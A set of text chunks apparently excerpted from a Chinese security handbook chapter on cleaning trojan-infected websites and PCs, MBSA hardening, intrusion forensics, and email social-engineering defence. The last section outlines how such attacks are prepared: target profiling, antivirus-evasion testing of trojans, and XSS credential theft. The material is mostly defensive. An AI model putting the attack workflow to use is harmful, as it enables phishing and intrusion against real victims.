    {"text": "表8-1 编码对应表 04 获取该网站相关内容 可以使用FlashGet站点资源管理器获取该网站的内容。 如图8-4所示，打开FlashGet，依次单击“工具”→“站点资源探索器”选项，打开站点资源探索器，在“地址”文本框中输入“http://ave1.cn”，然后按“回车”键，即可获取该网站的一些资源。 在FlashGet站点资源探索器中可以直接将看到的文件下载到本地查看。 图8-4 使用FlashGet站点资源探索器获取站点资源 说明 使用FlashGet站点资源探索器可以很方便地获取挂马代码地址中的一些资源，这些资源可能是挂马的真实代码，通过这些代码可以知道挂马者采用的是哪个漏洞，有时还可以获取0day漏洞。"},
    {"text": "在本例中，由于挂马时间较长，挂马者已经撤销了原来的挂马程序文件，在该网站中获取的HTML文件没有用处，且有些文件已经不存在了，无法对源代码文件进行分析。"},
    {"text": "该软件对目前绝大多数的后门均能查杀，是Windows下一款难得的WebShell检测工具。 通过该工具找到后门文件后，可以对后门文件采取清除或者删除等操作。 图8-5 使用D盾Web查杀工具查杀WebShell 8.1.2 清除网站中的恶意代码（挂马代码） 01 确定挂马文件 要想清除网站恶意代码，首先需要知道哪些文件被挂马了，判断方法有3个：一是直接查看代码，从中找出挂马代码；"},
    {"text": "在本案例中，网站首页确认被挂马了，通过查看时间可以知道挂马时间是8月25日左右，因此可以使用资源管理器的搜索功能初步定位时间为8月24日至26日，搜索在这个时间范围内修改或者产生的文件，如图8-6和图8-7所示。"},
    {"text": "图8-8 对JS文件进行挂马 8.2 巧用MBSA检查和加固个人计算机 微软基线安全分析器（Microsoft Baseline Security Analyzer，MBSA）是一个简单易用的工具，它可以帮助中小型企业根据微软的安全性建议确定其安全状态，并根据结果提供具体的修正指南。"},
    {"text": "MBSA用于检测常见的安全性错误配置和计算机系统遗漏的安全性更新，改善安全性管理流程，构建于Windows Update代理和Microsoft Update基础结构之上，因此可确保与其他微软管理产品一致，这些产品包括Microsoft Update（MU）、Windows Server Update Services（WSUS）、Systems Management Server（SMS）、System Center Configuration Manager（SCCM）2007及Small Business Server（SBS）。"},
    {"text": "目前微软已经停止对2.01版本以下的MBSA进行更新，有关MBSA2.2的更多信息，感兴趣的朋友可以访问http://technet.microsoft.com/zh-cn/security/cc184923 .aspx了解。"},
    {"text": "下载时一定要注意，对于x86版本的系统，下载MBSASetup-x86-EN.msi即可。 02 安装MBSA MBSA的安装很简单，和正常软件的安装一样，按照提示进行操作即可。"},
    {"text": "03 实验环境 本次实验环境为64位Windows 7操作系统，安装了一些普通的应用工具，并做过一些简单的加固，使用第三方工具360等修补了系统中的安全漏洞。"},
    {"text": "8.2.2 使用MBSA检测和加固系统 01 运行MBSA 依次单击“开始”→“程序”→“Microsoft Baseline Security Analyzer 2.3”选项，打开Microsoft Baseline Security Analyzer 2.3程序主界面，如图8-9所示。 图8-9 Microsoft Baseline Security Analyzer 2.3主界面 说明 在MBSA主程序中有如下3大主要功能。"},
    {"text": "• Scan a computer：使用计算机名称或者IP地址来检测单台计算机，适用于检测本机或者网络中的单台计算机。 • Scan multiple computers：使用域名或者IP地址范围来检测多台计算机。"},
    {"text": "如果仅仅针对本机就不用设置“Computer name”和“IP address”选项了，MNSA会自动获取本机的计算机名称，本例中扫描的计算机名称为“WORKGROUP\\SIMEON”。"},
    {"text": "在MBSA扫描选项中，默认会自动命名一个安全扫描报告名称（% D%-％C%(%T%)），即“Security report name”，该名称按照“域名-计算机名称（扫描时间）”进行命名，用户也可以输入一个自定义的名称来保存扫描的安全报告。"},
    {"text": "在下载过程中，可能出现CPU占有率比较高的情况，这是正常的。 MBSA将更新下载到本地后，需要对程序和策略进行更新，所以会出现占有率比较高的情况。"},
    {"text": "图8-13 分析扫描结果 05 查看扫描报告 扫描报告是进行安全加固的一个参考，我们先看“Security Update Scan Results”。 在“Security Update Scan Results”中可以看到“What was scanned”、“Result details”和“How to correct this\" 3个链接，如图8-14所示，它们分别对应于扫描的对象、扫描结果的详细信息和如何纠正存在的安全隐患（漏洞）。 图8-14 查看不同安全扫描结果 单击“What was scanned”链接，会显示MBSA扫描了哪些安全选项； 单击“Result details”链接，可以查看安全更新的检测报告，如图8-15所示，会给出按照ID、Description、Maximum Severity及Download排序的结果。 图8-15 查看详细的安全扫描结果 06 修补系统漏洞 在详细结果中，红色盾牌图标表示系统缺少这个补丁，可以单击“Download”按钮下面的图标下载补丁，然后直接运行该程序进行安装，详细的安装过程就不介绍了，有些补丁更新后可能会要求重启系统。 选择修补系统补丁可以参看“Maximum Severity”，如果是“Critical”则必须进行安装，否则可以根据实际情况进行修补。"},
    {"text": "在详细结果的下方还可以看到已安装补丁的列表，从该列表中可以知道Windows 7的最新补丁ID，在DOS提示符下运行“systeminfo”命令时，也会显示系统更新的最高补丁ID，该ID可以作为系统最新补丁的一个参考。"},
    {"text": "图8-16 使用systeminfo命令检测系统补丁更新情况 注意 对于系统中安装的特殊应用，强烈建议在进行系统更新之前对当前系统进行Ghost备份，防止由于更新不当而导致系统出现意外情况。"},
    {"text": "07 纠正扫描结果中出现的安全问题 在扫描结果中，如果出现了“How to correct this”，则表明系统或者应用存在安全问题，需要根据实际情况进行修补。"},
    {"text": "图8-17 纠正扫描结果中出现的安全问题 08 查看所有的扫描报告 使用MBSA对系统进行扫描后，会自动保存扫描的报告，在MBSA程序的主界面单击“View existing security scan reports”选项即可查看，如图8-18所示。 对这些扫描结果还可以根据IP地址、扫描时间、安全评估、计算机名称等进行升／降序排列，双击选中的记录即可查看扫描的详细报告。"},
    {"text": "图8-18 查看扫描报告 09 对多台计算机进行扫描 可以使用MBSA对网络中的多台计算机进行扫描。 在MBSA程序主界面中单击“Scan multiple computers”选项，其设置与对单台计算机的扫描设置和过程类似，这里不再赘述。"},
    {"text": "在扫描多台计算机时，必须是每台计算机的管理员或者域管理员，而且扫描计算机的135、139、445端口是开放的，如果没有开放，可以暂时关闭防火墙，扫描结束后再恢复防火墙。"},
    {"text": "8.2.3 总结与体会 本文详细介绍了如何使用MBSA来扫描和修补系统中存在的安全漏洞。 使用MBSA可以很容易地发现系统及所部署应用方面存在的问题或者安全隐患，通过微软提供的修正建议进行修复。 只要能够看懂MBSA上的有关操作和说明，即可进行安全漏洞扫描和加固。 MBSA是一个好用的安全工具，美中不足的是目前MBSA仅提供德语、法语、英语和日语4种语言版本。"},
    {"text": "8.3 使用“冰刀”进行安全检查 “冰刀”的英文名为“IceSword”，也称“冰刃”，简称“IS”，是由PJF出品的一款系统诊断、清除利器，其个人博客（http://www.blogcn.com/user17/pjf/index.html）上有关于该产品的一些说明，下载地址为http://mail.ustc.edu.cn/～jfpan/download/IceSword122cn.zip。"},
    {"text": "• 查看进程：查看运行进程的文件地址、各种隐藏的进程及优先级； 可以轻易“杀”掉用任务管理器、Processes XP等工具“杀”不掉的进程； 还可以查看进程的线程、模块信息等。 • 查看端口：类似于Cport、Active Port这类工具，显示当前本地程序打开的端口及相应的应用程序地址、名字，包括使用各种手段隐藏了端口的工具。"},
    {"text": "• 查看消息钩子：若在DLL中使用SetWindowsHookEx设置一些全局钩子，系统会将其加载入使用user32的进程中，因而它也可被利用，作为无进程木马的进程注入手段。"},
    {"text": "• 注册表：IceSword中的“注册表”项主要用来查找被木马后门隐藏的注册项，它不受目前任何注册表隐藏手法的蒙蔽，可以查看注册表实际内容。 • 文件：IceSword的文件功能类似于资源管理器，与资源管理器相比具有反隐藏、反保护的机制。"},
    {"text": "在网络安全领域，一个最基本的原则就是确认自己安全，包括一些入侵者在入侵成功后，它也需要对控制计算机进行安全检查，删除前人留在系统中的后门，对系统进行安全加固。"},
    {"text": "下面使用IceSword 1.22汉化版对计算机进行安全检查，查杀木马等程序。 推荐使用IceSword来结束进程、删除文件及打开SAM文件。 8.3.1 检查进程 运行IceSword 1.22汉化版后，单击其界面左边的“进程”按钮，会列出系统中所有的进程，显示的进程数是正在运行的进程。"},
    {"text": "单击“端口”按钮，即可查看系统中的应用程序使用的协议、本地地址、远程地址、进程及程序名称等信息，如图8-20所示，其中最关键的是本地地址、远程地址及进程程序名称，通过这些信息可以判断进程是否为木马程序进程。 图8-20 查看端口 内核模块主要用来检查Rootkit等驱动级别的木马程序，IceSword检查出异常的驱动后会以红色显示。 8.3.3 删除文件 木马程序即有可能采用进程保护等方式，防止和禁止用户中止进程，一般情况下很难删除这些DLL等文件，而在IceSword中可以轻松地删除这些文件。 对本例中遇到的BHO木马程序插件，我们只知道该DLL肯定不是系统自带的，必须将其删除。 如图8-21所示，在IceSword中单击“文件”模块，然后到BHO木马程序的当前目录下选中需要删除的DLL文件，单击右键，在弹出的快捷菜单中单击“强制删除”选项，将该文件删除。 图8-21 删除BHO木马插件 8.4 手工清除病毒 对于感染了病毒的操作系统，一般采取两种方式：一种是重装系统；"},
    {"text": "首先，需要对计算机的运行状况进行初步的诊断，并了解计算机出现问题的详细情况。 通过询问该计算机的操作人员，判断如下。 • 计算机肯定感染了病毒。"},
    {"text": "虽然重装系统是最为安全和便捷的方法，但由于很多业务系统都是公司直接配发，重装系统后恢复业务系统比较困难，所以考虑实际情况，只能手工杀毒。"},
    {"text": "1．制作干净的病毒检测和清除工具盘 说是手工清除病毒，其实还是借助了一些工具。 虽然手工清除也是可以的，不过既然有好用的工具软件，为什么还要舍近求远呢？ 首先准备一个可设置为可读和可写的U盘，如果没有这种U盘，可以将工具软件刻录到光盘中。 在本次病毒清理中，计算机是由公司统一配发的，没有安装光驱，且手头也没有光驱可用，因此只能使用U盘。"},
    {"text": "说明 （1）很多时候，病毒会修改注册表和文件关联，在打开文件时总是出现“选择打开文件”对话框，即使选择正确的可执行文件也无法执行。"},
    {"text": "如果出现这种情况，一种办法就是恢复注册表，另一种方法就是通过command命令加载可执行程序进行清理，包括执行一些DOS命令。 （2）病毒一般会禁用CMD、注册表等可执行程序，这个时就需要运行command命令来恢复系统中的注册表等。 3．使用autoruns清理病毒 01 清除Scheduled Tasks中的木马加载项 在autoruns主窗口单击“Scheduled Tasks”标签页，在其中可以看到“At1.job”选项，它的描述是“Microsoft Corporation”，其可执行文件路径为C :\\WINDOWS\\system32\\winhelp.exe，一看就知道该加载选项是病毒，选中并直接删除该选项即可。 说明 了解系统可执行文件的读者应该知道，winhelp文件主要存储在C:\\WINDOWS和C:\\WINDOWS\\ system32\\dllcache目录下，C: \\WINDOWS\\system32目录下绝对不会有winhelp.exe文件，如图8-22所示，在正常系统中查找winhelp.exe的结果。 通过实际经验判断，winhelp为U盘病毒，因此必须将其清除。 图8-22 正常的winhelp文件所在正确路径和文件大小 02 安装一键Ghost软件 很多读者可能会问，为什么要在这一步安装一键Ghost软件？"},
    {"text": "现在很多病毒软件写得比较“邪恶”，对系统的感染程度非常深，一不小心系统就无法启动。 因此，安装软件后，一定要及时和尽可能早地安装Ghost备份和还原软件。 安装完毕，对系统进行备份，再进行病毒的清理，以防清理病毒失败，或者在出现意外情况时可以及时恢复系统。 03 对系统进行安全备份 安装Ghost软件后，对系统进行备份。 做备份一定要在系统重启且可以正常运行的情况下，否则就失去了做备份的意义。 关于Ghost一键备份的使用，在此就不赘述了。"},
    {"text": "04 清除可疑和病毒加载的服务 再次通过command命令启动autoruns程序，在autoruns主窗口中单击“Services”选项卡，如图8-23所示，可以看到很多找不到文件的服务，其中一些服务的名称与正常的服务名称和文件非常类似。"},
    {"text": "删除可疑的服务和由病毒加载的服务。 建议没有病毒清理经验的读者先在正常的计算机上熟悉和了解正常的服务和程序，以免误删！ 在清理服务时，虽然要本着“实行宁可错杀一千，不可放过一个”的原则，但还是建议对服务文件所在路径进行验证。 如果具备上网条件，可以通过搜索引擎进行搜索，以验证该服务是否是正常文件的服务。 图8-23 清除可疑服务和病毒加载的服务选项 05 清除可疑的和病毒的驱动 在autoruns中单击“Drivers”选项卡，如图8-24所示，可以看到naivaf5x.sys和mvstdi5x.sys驱动无任何描述和发行信息，是重点怀疑对象，可在选中后直接将其删除。"},
    {"text": "图8-24 清除可疑服务和病毒驱动程序 06 删除U盘病毒的自保护病毒程序 如图8-25所示，在autoruns的“Everything”选项卡中可以看到启动项目中的“C:\\WINDOWS\\ system32\\regsvr.exe”选项，正常系统中的文件应该是“C :\\WINDOWS\\system32\\regsvr32.exe”，而不是“regsvr.exe”，病毒就是借助文件名称来混淆正常文件的。 在清理病毒过程中发现，“regsvr.exe”和“winhelp.exe”是互相启动的，因此需要清除所有与这两个文件有关的地方。 图8-25 删除U盘病毒的自保护病毒程序 07 删除随机ShellExecuteHooks下的病毒文件 在“资源管理器”中双击图标，运行程序或打开文件，都会激活其中的项目，“ShellExecute Hooks”是木马病毒最喜欢的地方之一。"},
    {"text": "据笔者了解，以前某些版本的瑞星杀毒软件就不会查杀这个位置。 在这里可以看到很多随机生成的病毒文件，笔者大致数了一下，有200多个，选中后将其逐一删除。"},
    {"text": "08 清除Logon中的病毒加载选项 单击“Logon”选项卡，同样发现了C :\\WINDOWS\\system32\\regsvr32.exe，选中并删除它，如图8-26所示。 图8-26 清除Logon选项卡中的病毒加载选项 4．清除物理位置的病毒文件 前面我们清除了系统启动、Scheduled Tasks、ShellExecuteHooks、Drivers、Services下面的可疑程序和病毒，这些清除操作只是在注册表中进行，清除这些选项是为了防止或者禁止病毒在启动时加载。 要想实际清除病毒，还需要手动清除物理位置的病毒，如图8-27所示，可以在“回收站”中看到一些被删除的文件。 图8-27 删除实际的病毒文件 5．卸载无关软件 如图8-28所示，打开360安全卫士的软件管理界面，然后单击“软件卸载”按钮，卸载一些与业务系统无关的程序。 在该计算机上安装了杀毒软件，但该杀毒软件根本没有起到应有的杀毒和防范作用，反而占用系统资源，建议将其卸载。 图8-28 卸载无关的应用程序 说明 在本次病毒清理过程中，尝试使用“控制面板”中的“添加／删除程序”功能来卸载一些无用程序，无奈速度太慢，且容易出问题，因此，使用第三方软件提供的卸载软件功能也不失为一种卸载软件的良方！ 6．简单加固系统 在每一个盘符下面新建一个“autorun.inf”文件夹，在“运行”文本框中输入“gpedit.msc”，打开“组策略编辑器”窗口，依次单击“用户配置”→“系统”→“关闭自动播放”选项，打开关闭自动播放属性设置窗口，在其中选中“已启用”单选按钮，在“关闭自动播放”下拉列表中选择“所有驱动器”选项，如图8-29所示，单击“确定”按钮使设置生效，防止光盘和驱动器自动启动和播放。 图8-29 禁止驱动器自动播放 7．重启系统、验证并进行系统备份 至此，我们已经对系统中的部分病毒进行了清理和清除，同时卸载了系统中的一些无关应用程序。 重启系统后，看看系统是否能够正常使用。 如果一切正常，就重新对系统进行备份。 这个时候，系统已经能够正常使用，运行速度较清理前有了很大提高。 8.4.3 继续修复系统 在清除部分病毒文件之后，我们继续修复系统。 1．删除“无法”删除的文件 在清除病毒的过程中，可能会遇到一些比较“顽固”的病毒。"},
    {"text": "在系统的COM文件夹下有一个mfc42.dll文件夹，很明显，这个文件夹有问题，既无法浏览，也无法打开，使用正常的文件删除步骤根本无法删除，即使使用WINRAR的压缩后也无法删除。"},
    {"text": "这个时候，就可以使用IceSword的强制文件删除功能将其删除。 IceSword的强制文件删除一个非常好用的功能，方法就是使用IceSword浏览磁盘中的文件，找到需要删除的文件夹或者文件，选中需要删除的文件或者文件夹，然后单击右键，在弹出的快捷菜单中选择“强制删除”选项，即可强制删除一些无法删除的文件或者文件夹。"},
    {"text": "2．无法升级病毒库的处理 对病毒进行清理后，需要对系统漏洞及恶意插件进行清理。 在本例中，主要使用360安全卫士进行检测，连接网络后发现无法升级特征库，看来病毒修改了Hosts文件。 直接到系统的C:\\WINDOWS\\ system32\\drivers\\etc目录下打开Hosts文件，如图8-30所示，果然病毒已经修改了Hosts文件。 在Hosts文件中，第5行到第7行是公司的ERP、DB、TXT服务器对应的IP地址和域名，后面的内容显示病毒已经将目前所有的杀毒软件和安全检测软件的网站及病毒库升级地址指向病毒设定的IP地址，致使它们无法升级病毒库，让病毒一直逍遥“法”外。"},
    {"text": "直接解压缩，恢复Hosts文件，就可以升级360安全卫士的特征库了。 图8-30 病毒修改了Hosts文件 3．使用安全360卫士进行安全检测 打开360安全卫士，单击“清理恶评插件”选项，对检测出来的恶意插件和病毒进行清除。"},
    {"text": "根据360安全卫士检测的提示，清除该病毒需要下载顽固木马专杀工具。 将该工具下载到本地，然后进行查杀，如图8-31所示，果然检测出两个病毒，将其清除即可。 图8-31 使用360顽固木马专杀大全查杀病毒 4．木马病毒疯狂下载病毒 01 找到木马病毒下载者 根据经验，估计该木马病毒会自动从木马网站下载病毒。 访问Temporary Internet Files文件夹，该木马病毒下载了15个病毒文件，其下载地址为http://www.down008867.com/mtv/，文件按照xpn的格式进行命名。 在该文件夹中还存在一个读取地址的文件sl.txt，该文件自动木马病毒知道下载的地址。 02 清除木马下载者 直接删除“Temporary Internet Files”目录下的所有文件，在系统目录中发现木马下载者文件ilobbyupdater117.exe。 5．修补系统漏洞 使用安全360卫士扫描和修补系统中存在的漏洞，最后使用其高级工具中的进程查看器查看其进程、服务及网络连接等。"},
    {"text": "8.4.4 小结 本次手工清除病毒对笔者来讲是一种挑战，是运用多种方法和技术清除病毒和加固系统的一次实战，个人感觉收获很多，主要有以下几点。 • 在清除病毒的过程中，一定要随时做好系统的备份工作。 笔者在开始清除病毒时，由于未对系统进行备份，导致系统启动后无法显示桌面，看似系统正常启动，而实际上关键进程都被病毒劫持了。 后面每前进一小步，都需要对系统进行备份，再寻找和清除病毒。 • 如果系统的一些关键进程被劫持，则优先考虑使用专用杀毒软件来解决，这样做的效率较高，且不容易出现问题。 • 使用autoruns、icesword、CurrPorts、360安全卫士安装程序、ProcessExplorer及一键Ghost等普通软件可以清除绝大部分病毒。 • 在清理病毒时要注意可执行文件的名称和大小，这需要平时的经验积累。"},
    {"text": "8.5 计算机网络入侵安全检查研究 据FBI的统计，由于计算机犯罪所造成的经济损失仅2003年就达2000亿美元，由于网络黑客培训的兴起及黑客录像的大量传播，加上成为黑客的好奇心，以及利用黑客手段可以获取资料来牟取非法利益，越来越多的人喜欢上了入侵，促使我国的网络入侵刑事案件呈上升趋势。 网络入侵，轻则造成个人资料的丢失和一些轻微的破坏，重则不仅让个人和公司蒙受巨大的经济损失，而且极有可能导致因发生泄密而危害国家安全。"},
    {"text": "我国也曾经发生多起因军人的个人或工作计算机上网而导致的泄密事件，只是媒体报道较少。 虽然很多个人计算机安装了防火墙及杀毒软件，但仍然不能完全防止网络入侵，很多资料的泄露都是因个人计算机上网发生的。 因此，上网计算机的安全问题不容乐观，了解和掌握一定的网络入侵安全检查方法，减少由网络入侵带来的经济损失十分有必要。 8.5.1 网络入侵的途径 计算机病毒入侵主要有源代码嵌入攻击型、代码取代攻击型、系统修改型和外壳附加型4种方式，而对网络入侵来讲，笔者认为主要分为主动入侵和被动入侵。 主动入侵主要是指用户主动执行病毒及木马程序。 例如，浏览网站中植入了恶意病毒及其木马程序的网页，这些木马程序（病毒）大多是利用操作系统的漏洞，当用户访问网页时，将主动下载该类木马程序并执行。 再如，目前比较流行的U盘病毒，通过U盘传播和执行，这种类型的攻击非常隐蔽，不易察觉，当用户连接互联网时，木马（病毒）的客户端可以对感染木马（病毒）的服务端进行控制。 被动入侵主要是指由入侵者主动发动的攻击，如扫描系统口令、利用系统存在的远程溢出漏洞进行溢出攻击、SQL注入攻击等。"},
    {"text": "• 及时更新操作系统补丁程序。 系统安装完成后，不要立即连接互联网，而是安装操作系统最新的一些安全补丁程序，特别是安装一些高危漏洞的补丁程序。"},
    {"text": "• 谨慎下载软件。 目前计算机运行的很多程序大多为盗版，无法进行来源验证，很多从网上下载的程序都捆绑了木马程序，因此，不要运行来历不明的程序，要尽量到大型正规网站下载软件。"},
    {"text": "8.5.2 被入侵后的保护措施 不管是普通个人计算机还是工作用计算机，保护好入侵现场是十分有必要的，入侵现场可以作为评估经济损失和追踪入侵者的重要证据。"},
    {"text": "1．报告上司、网警、公安部门或国家安全部门 在计算机被入侵后，一般采用3种方式：一种是彻底格式化硬盘，重新安装操作系统和软件； 一种是安装一些木马查找软件，查杀木马和病毒后继续使用； 还有一种是利用原来系统中的Ghost备份进行恢复。"},
    {"text": "• 使用软驱启动并克隆整个硬盘。 在选择克隆硬盘时，通过软盘启动并克隆是为了保证系统的时间不被更改。 操作系统的一些文件会在启动计算机时进行时间的更新，为了保证时间的准确性，应该从软驱启动并通过软盘克隆硬盘中的系统盘及其他物理盘。"},
    {"text": "• 还原操作系统，使被攻击服务器或者个人计算机恢复正常。 • 修改在本机上使用的相关软件及操作系统账号的登录密码。 • 如果是服务器，则需要通知网络用户更改相应的密码 8.5.3 安全检查方法 下面详细介绍对被入侵计算机的安全检查方法。 1．检查计算机用户 在被入侵的计算机中，极有可能添加了新用户或者对用户进行了克隆，可以按照以下方式进行检查。"},
    {"text": "2．查看网络连接情况 使用“netstat-an->netlog-1.txt”命令将目前端口的开放情况及网络连接情况生成netlog-1文本文件，以便查看网络开放的端口和连接的IP地址等，从而追踪入侵者。 3．查看远程终端服务 Windows2000/XP/2003默认的远程终端服务都是手动的。 查看远程终端开放情况可以采取以下方法。 （1）查看Terminal Services服务的启动情况 打开管理工具中的“服务”控制面板，查找名称为“Terminal Services”的服务，直接双击该服务名称就可以查看远程终端开放情况，如图8-32所示。"},
    {"text": "图8-32 查看远程终端服务 （2）使用DOS命令query/quser 使用“query user/quser”命令可以直接查看目前远程终端的服务连接情况，不过该命令只能在Windows 2000/2003 Server中使用，在Windows XP中需要到系统目录下的dllcache目录下执行。"},
    {"text": "说明 在进行检查前，需要确定是否存在query.exe和quser.exe这两个文件及其相应文件的大小。 入侵者在入侵成功后，有可能将query.exe和quser.exe文件删除或者进行替换。 query.exe和quser.exe文件的大小分别为10752字节和18432字节。"},
    {"text": "（3）使用“netstat-an| find \"3389\"”命令查看网络连接及其端口开放情况 使用“netstat-an| find \"3389\"”命令可以查看目前正在使用远程终端的连接及其3389端口开放情况。 （4）通过注册表查看3389端口开放情况 分别查看注册表键［HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\Wds\\rdpwd\\Tds\\tcp］和[HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\TerminalServer\\WinStations\\RDP-Tcp］下的PortNumber值。"},
    {"text": "4．Web服务器的安全检查 （1）SQL Server 2000等数据库的安全检查 目前对Web服务器进行SQL注入是一种主流攻击方式。 SQL注入攻击最有可能留下痕迹的就是SQL Server 2000等数据库中的临时表。 通过HDSI等软件进行SQL注入攻击，在数据库中会留下临时表，因此，可以通过数据库的企业管理器或者查询处理器进行表的浏览，直接查看新建表的情况。"},
    {"text": "（2）Web日志文件检查 如果Web服务设置了日志记录，系统会在默认的“%SystemRoot%\\system32\\Logfiles”目录下对用户访问等信息进行记录。 日志文件能够记录入侵者所进行的操作及入侵者的IP地址等。 5．使用事件查看器查看安全日志等 事件查看器中有安全性、系统和应用程序3类日志文件，可以通过运行eventvwr.msc调用事件查看器。 安全性日志中包含特权使用、用户、时间和计算机等信息，这些信息可以作为判断入侵者入侵时间及登录方式等的信息。"},
    {"text": "6．查看硬盘及系统所在目录新近产生的文件 如果及时发现入侵，则可以通过以下方法查看入侵者上传或安装的木马程序文件。 （1）查看系统目录文件 可以使用DOS命令“dir/od/a”或者资源管理器查看最新文件。"},
    {"text": "（2）查看系统盘下用户所在文件的临时目录 查看系统盘下用户所在文件的临时目录temp，如“D:\\Documents and Settings\\simeon\\Local Settings\\Temp”，该目录下会保留一些临时文件。 （3）查看历史文件夹 历史文件夹中会保留一些入侵者访问网络的信息，可以通过访问用户所在的目录，如“D:\\ Documents and Settings\\simeon\\Local Settings\\History”查看。 （4）查看“回收站” “回收站”中可能会有一些入侵者删除的文件记录，可以通过查看文件创建日期和跟踪文件所在位置进行入侵时间等判断。 （5）查看recent文件夹 recent文件夹中会保留一些最近操作的快捷方式，通过这些快捷方式可以了解入侵者进行的操作。"},
    {"text": "9．检查Rootkit Rootkit是攻击者用来隐藏自己的踪迹和保留root访问权限的工具，利用Rootkit技术编写的木马程序功能强大，且具有较高的隐蔽性，危害非常大。 目前可以通过RootkitRevealer、Blacklight及Klister等Rootkit检测工具检测系统是否存在Rootkit类型的木马。"},
    {"text": "8.5.4 小结 本节给出了一些计算机被入侵后的常规安全检查方法，通过这些安全检查方法可以检测入侵者留在被入侵计算机上的“痕迹”，以便进行安全评估，对网络安全管理具有一定的参考价值。"},
    {"text": "8.6 电子邮件社会工程学攻击防范研究 社会工程学是信息网络安全的一个新的分支，其主要特点是利用人的弱点进行攻击。 在正面渗透越来越困难的情况下，黑客越来越多地借助社会工程学，包括国内出现的密码“泄露门”，以及安全界比较著名的APT攻击，都是典型的利用社会工程学进行攻击的案例。"},
    {"text": "本节从社会工程学攻击的现状出发，详细研究电子邮件社会工程学攻击的应用手段和方式，并在此基础上对电子邮件社会工程学攻击的防范措施进行研究和探讨，希望通过这些安全防范措施降低被成功攻击的概率。"},
    {"text": "根据中国互联网络信息中心的数据统计，我过上网用户已经超过5亿，手机上网用户超过3亿，一旦接入互联网，就会成为黑客攻击的目标。 在国家互联网应急中心发布的《2011年中国互联网网络安全态势报告》指出：我国遭受境外网络攻击持续增多；"},
    {"text": "在安全防范软件较为丰富的情况下，对个人主机渗透常用的方法就是电子邮件社会工程学攻击，个人计算机一旦被攻击者成功入侵，轻者个人资料泄露，如“艳照门”事件，重者国家机密泄露，给个人和国家带来损失。 现在，电子邮件已经成为个人工作和生活的重要组成部分，因此，防范针对个人发起的电子邮件攻击就非常有必要了。 目前，国内有关电子邮件社会工程学攻击的研究较少，而国外已经将电子邮件社会工程学攻击列为重要资讯部门必须培训的课程之一。 笔者通过走访黑客、查询国内外文献，对电子邮件社会工程的手段、攻击方式进行深入的研究。"},
    {"text": "8.6.1 社会工程学 我们来了解一下社会工程学的相关概念。 1．社会工程学的定义 社会工程学（Social Engineering）是把对物的研究方法全盘运用到对人本身的研究上，并将其变成技术控制的工具。 社会工程学是一种通过对受害者心理弱点、本能反应、好奇心、信任、贪婪等心理陷阱进行诸如欺骗、伤害等危害手段而取得自身利益的方法。 2．社会工程学攻击 社会工程学攻击就是利用人们的心理特征，骗取用户的信任，获取机密信息、系统设置等不公开资料，为黑客攻击和病毒感染创造有利条件。"},
    {"text": "网络安全往往容易被入侵者从内部攻破，而利用社会工程学进行网络攻击，有点像电影或者小说中的“卧底”，在获取足够有用的信息后成功攻破网络。"},
    {"text": "由于安全产品的技术越来越完善，使用这些技术的人就成为整个环型中最为脆弱的部分，加之人类具有贪婪、自私、好奇、信任等心理弱点，因此，通过恰当的方法和方式，入侵者完全可以从相关人员那里获取入侵所需的信息。"},
    {"text": "运用社会工程学进行网络攻击，可以使网络攻击者不需要付出很大的代价就达到他们所要达到的目的，所以被越来越多的攻击者所青睐。 8.6.2 常见的电子邮件社会工程学攻击方法 通过电子邮件进行攻击的常见手法主要有5种，分别是伪造邮件地址或者信任关系攻击、人性心理弱点攻击、恶意攻击、0day攻击和跨站攻击。 1．伪造邮件地址或者信任关系攻击 伪造攻击主要通过事先收集被攻击对象的各种信息，特别是有电子邮件往来的各种信息，然后假冒“信任”的联系人给被攻击对象发送邮件，被攻击者收到邮件后，看到是“信任”的关系，因此不加怀疑地直接打开邮件附件，或者回复攻击者想获取的信息。"},
    {"text": "2．人性心理弱点攻击 心理弱点攻击是电子邮件社会工程学攻击最主要的手法之一，该攻击方法利用电子邮件夹带恶意程序或恶意链接进行攻击，运用各种人性弱点吸引使用者开启问题邮件，问题邮件通常与被攻击者的兴趣有关，利用人的贪心等使被攻击对象无法对问题邮件免疫。"},
    {"text": "3．恶意攻击 攻击者通过发送捆绑木马的附件或者链接地址（链接地址往往带有挂马功能），诱使用户打开附件或者访问恶意构建的网页，从而感染病毒。 4．0day攻击 只要是软件，就可能存在有漏洞，未能及时修补就可能遭到利用并被入侵。"},
    {"text": "在软件漏洞点修补前出现的针对该漏洞的攻击行为称为零时差攻击（0day攻击）。 在软件漏洞更新补丁程序发布后的 n 天，利用用户还未修补的软件漏洞进行攻击，称为nday攻击。"},
    {"text": "攻击者通过0day交易渠道或者自己挖掘0day，掌握了一些文件格式的未公开漏洞，如Office系列、PDF系列、Flash系列及IE等，通过0day漏洞利用工具，将木马与0day漏洞捆绑在一起，生成一个正常格式的文件，被攻击者打开该文件后即感染木马或者执行指定的可执行文件。"},
    {"text": "5．电子邮件跨站攻击 跨站攻击，即“Cross Site Script Execution”（通常简写为“XSS”），是指攻击者利用网站程序对用户输入过滤不足，输入可以显示在页面上的、能够对其他用户造成影响的HTML代码，从而盗取用户资料、利用用户身份进行某种操作或者对访问者进行病毒侵害的一种攻击方式。"},
    {"text": "攻击者通过对被攻击者电子邮件服务器所使用的系统进行研究，发现电子邮件服务器系统存在的各种跨站漏洞，然后将跨站漏洞利用代码嵌入富文本的邮件内容中，通过网页或者特定电子邮件发送软件，将构造好的邮件发送给被攻击者。 被攻击对象查看电子邮件时执行跨站代码，会要求重新输入用户名和密码。 攻击者通过事先构造好的电子邮件登录页面截获用户名和密码，然后将用户名和密码重新定向到真实的电子邮件地址，从而获取电子邮箱口令及Cookie等信息。"},
    {"text": "1．信息收集 在实施攻击前需要充分了解被攻击对象的各种信息，如职业、性别、年龄、爱好等，尤其需要掌握其个人邮件地址信息。 2．攻击前的测试准备 攻击前需要对木马程序进行免杀测试，对漏洞利用工具的各种攻击场景进行实际测试，查看漏洞被攻击后的实际效果。"},
    {"text": "同时，还需要申请发送邮件时使用的电子邮件账号，通过模拟攻击对象的电子邮箱进行邮件发送测试，防止邮件不能通过邮件服务器安全策略被当成垃圾邮件处理的情况发生。 3．实施攻击 通过专门的邮件发送工具或者电子邮箱发送构造好的邮件。 攻击的实施过程比较简单，准备好邮件内容和附件即可。 4．进行控制 收件人打开电子邮件，感染木马病毒。"},
